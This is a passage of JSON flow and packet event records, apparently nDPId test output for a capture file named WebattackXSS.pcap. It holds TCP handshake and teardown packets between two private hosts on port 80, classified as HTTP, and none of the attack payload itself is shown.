+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3659,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":257,"flow_packet_id":1,"flow_first_seen":1499347407100,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56858,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":257,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3659,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347407,"pkt_ts_usec":100505,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8oV1AAD4GJHOsEAABwKgKMt4aAFCK7TRXAAAAAKACchArEAAAAgQFtAQCCAoBOpUKAAAAAAEDAwc="} +00444{"flow_id":257,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3660,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347407,"pkt_ts_usec":100605,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3hoI+EKiiu00WKAScSB18AAAAgQFtAQCCAoD5GaAATqVCgEDAwc="} +00432{"flow_id":257,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3661,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347407,"pkt_ts_usec":101384,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oV5AAD4GJHqsEAABwKgKMt4aAFCK7TRYCPhCo4AQAOUU9wAAAQEICgE6lQsD5GaA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3668,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":258,"flow_packet_id":1,"flow_first_seen":1499347408367,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56872,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":258,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3668,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347408,"pkt_ts_usec":367739,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8lz9AAD4GLpGsEAABwKgKMt4oAFBdawF4AAAAAKACchCKJgAAAgQFtAQCCAoBOpZHAAAAAAEDAwc="} +00445{"flow_id":258,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3669,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347408,"pkt_ts_usec":367864,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3igaCcJ\/XWsBeaAScSBC2wAAAgQFtAQCCAoD5Ge9ATqWRwEDAwc="} +00432{"flow_id":258,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3670,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347408,"pkt_ts_usec":368623,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0l0BAAD4GLpisEAABwKgKMt4oAFBdawF5GgnCgIAQAOXh4gAAAQEICgE6lkcD5Ge9"} +00432{"flow_id":255,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3674,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347408,"pkt_ts_usec":725867,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09cRAAD4G0BOsEAABwKgKMt3yAFCprWSarZerH4ARAOW7GAAAAQEICgE6lqED5GLR"} +00433{"flow_id":255,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3675,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347408,"pkt_ts_usec":726120,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0wwlAAEAGAM\/AqAoyrBAAAQBQ3fKtl6sfqa1km4ARAOO10wAAAQEICgPkaBcBOpah"} +00432{"flow_id":255,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3676,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347408,"pkt_ts_usec":726683,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09cVAAD4G0BKsEAABwKgKMt3yAFCprWSbrZerIIAQAOW10QAAAQEICgE6lqED5GgX"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3680,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":259,"flow_packet_id":1,"flow_first_seen":1499347409644,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56886,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":259,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3680,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347409,"pkt_ts_usec":644274,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8tAhAAD4GEcisEAABwKgKMt42AFAiiCOOAAAAAKACchChpgAAAgQFtAQCCAoBOpeGAAAAAAEDAwc="} +00444{"flow_id":259,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3681,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347409,"pkt_ts_usec":644432,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3ja0TSQNIogjj6AScSBdSgAAAgQFtAQCCAoD5Gj8ATqXhgEDAwc="} +00432{"flow_id":259,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3682,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347409,"pkt_ts_usec":645174,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tAlAAD4GEc+sEAABwKgKMt42AFAiiCOPtE0kDoAQAOX8UAAAAQEICgE6l4cD5Gj8"} +00433{"flow_id":256,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3686,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347409,"pkt_ts_usec":726051,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA071tAAD4G1nysEAABwKgKMt4AAFBz\/X3Ln+XP9IARAOW+NAAAAQEICgE6l5sD5GQJ"} +00434{"flow_id":256,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3687,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347409,"pkt_ts_usec":726197,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0puVAAEAGHPPAqAoyrBAAAQBQ3gCf5c\/0c\/19zIARAOO5LQAAAQEICgPkaREBOpeb"} +00433{"flow_id":256,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3688,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347409,"pkt_ts_usec":726929,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA071xAAD4G1nusEAABwKgKMt4AAFBz\/X3Mn+XP9YAQAOW5KwAAAQEICgE6l5sD5GkR"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3698,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":260,"flow_packet_id":1,"flow_first_seen":1499347412160,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56912,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":260,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3698,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347412,"pkt_ts_usec":160466,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8VIxAAD4GcUSsEAABwKgKMt5QAFAbQM13AAAAAKACchD8dQAAAgQFtAQCCAoBOpn7AAAAAAEDAwc="} +00444{"flow_id":260,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3699,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347412,"pkt_ts_usec":160633,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3lBjDHLSG0DNeKAScSC4IAAAAgQFtAQCCAoD5GtxATqZ+wEDAwc="} +00432{"flow_id":260,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3700,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347412,"pkt_ts_usec":161359,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VI1AAD4GcUusEAABwKgKMt5QAFAbQM14Ywxy04AQAOVXJwAAAQEICgE6mfwD5Gtx"} +00432{"flow_id":257,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3704,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347412,"pkt_ts_usec":727340,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oV9AAD4GJHmsEAABwKgKMt4aAFCK7TRYCPhCo4ARAOUPeAAAAQEICgE6mokD5GaA"} +00433{"flow_id":257,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3705,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347412,"pkt_ts_usec":727533,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0KVxAAEAGmnzAqAoyrBAAAQBQ3hoI+EKjiu00WYARAOMJ+gAAAQEICgPka\/8BOpqJ"} +00433{"flow_id":257,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3706,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347412,"pkt_ts_usec":728302,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oWBAAD4GJHisEAABwKgKMt4aAFCK7TRZCPhCpIAQAOUJ+AAAAQEICgE6mokD5Gv\/"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3710,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":261,"flow_packet_id":1,"flow_first_seen":1499347413405,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56926,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":261,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3710,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347413,"pkt_ts_usec":405117,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8g\/NAAD4GQd2sEAABwKgKMt5eAFDJGhjAAAAAAKACchACDQAAAgQFtAQCCAoBOpszAAAAAAEDAwc="} +00445{"flow_id":261,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3711,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347413,"pkt_ts_usec":405258,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3l7I3\/YFyRoYwaAScSDTeQAAAgQFtAQCCAoD5GyoATqbMwEDAwc="} +00434{"flow_id":261,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3712,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347413,"pkt_ts_usec":405975,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0g\/RAAD4GQeSsEAABwKgKMt5eAFDJGhjByN\/2BoAQAOVygQAAAQEICgE6mzMD5Gyo"} +00432{"flow_id":258,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3717,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347413,"pkt_ts_usec":727707,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0l0FAAD4GLpesEAABwKgKMt4oAFBdawF5GgnCgIARAOXcpQAAAQEICgE6m4MD5Ge9"} +00433{"flow_id":258,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3718,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347413,"pkt_ts_usec":727926,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0rnlAAEAGFV\/AqAoyrBAAAQBQ3igaCcKAXWsBeoARAOPXagAAAQEICgPkbPkBOpuD"} +00432{"flow_id":258,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3719,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347413,"pkt_ts_usec":728643,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0l0JAAD4GLpasEAABwKgKMt4oAFBdawF6GgnCgYAQAOXXaAAAAQEICgE6m4MD5Gz5"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":262,"flow_packet_id":1,"flow_first_seen":1499347414709,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56940,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":262,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3723,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347414,"pkt_ts_usec":709999,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8LQhAAD4GmMisEAABwKgKMt5sAFBxqrFxAAAAAKACchC\/dwAAAgQFtAQCCAoBOpx5AAAAAAEDAwc="} +00444{"flow_id":262,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3724,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347414,"pkt_ts_usec":710160,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3mzO8Ll1caqxcqAScSDGHAAAAgQFtAQCCAoD5G3vATqceQEDAwc="} +00432{"flow_id":262,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3725,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347414,"pkt_ts_usec":710690,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LQlAAD4GmM+sEAABwKgKMt5sAFBxqrFyzvC5doAQAOVlJAAAAQEICgE6nHkD5G3v"} +00432{"flow_id":259,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3729,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347414,"pkt_ts_usec":727541,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tApAAD4GEc6sEAABwKgKMt42AFAiiCOPtE0kDoARAOX3WQAAAQEICgE6nH0D5Gj8"} +00432{"flow_id":259,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3730,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347414,"pkt_ts_usec":727869,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Sf1AAEAGedvAqAoyrBAAAQBQ3ja0TSQOIogjkIARAOPyYwAAAQEICgPkbfMBOpx9"} +00432{"flow_id":259,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3731,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347414,"pkt_ts_usec":728569,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tAtAAD4GEc2sEAABwKgKMt42AFAiiCOQtE0kD4AQAOXyYQAAAQEICgE6nH0D5G3z"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":6,"flow_first_seen":1499347339782,"flow_last_seen":1499347345712,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56144,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":6,"flow_first_seen":1499347339782,"flow_last_seen":1499347345712,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56144,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":6,"flow_first_seen":1499347341106,"flow_last_seen":1499347346712,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56158,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":6,"flow_first_seen":1499347341106,"flow_last_seen":1499347346712,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56158,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":6,"flow_first_seen":1499347342386,"flow_last_seen":1499347347713,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56172,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":6,"flow_first_seen":1499347342386,"flow_last_seen":1499347347713,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56172,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":6,"flow_first_seen":1499347343672,"flow_last_seen":1499347348713,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56186,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":6,"flow_first_seen":1499347343672,"flow_last_seen":1499347348713,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56186,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":6,"flow_first_seen":1499347346211,"flow_last_seen":1499347351713,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56212,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":6,"flow_first_seen":1499347346211,"flow_last_seen":1499347351713,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56212,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":6,"flow_first_seen":1499347347483,"flow_last_seen":1499347352714,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56226,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":6,"flow_first_seen":1499347347483,"flow_last_seen":1499347352714,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56226,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 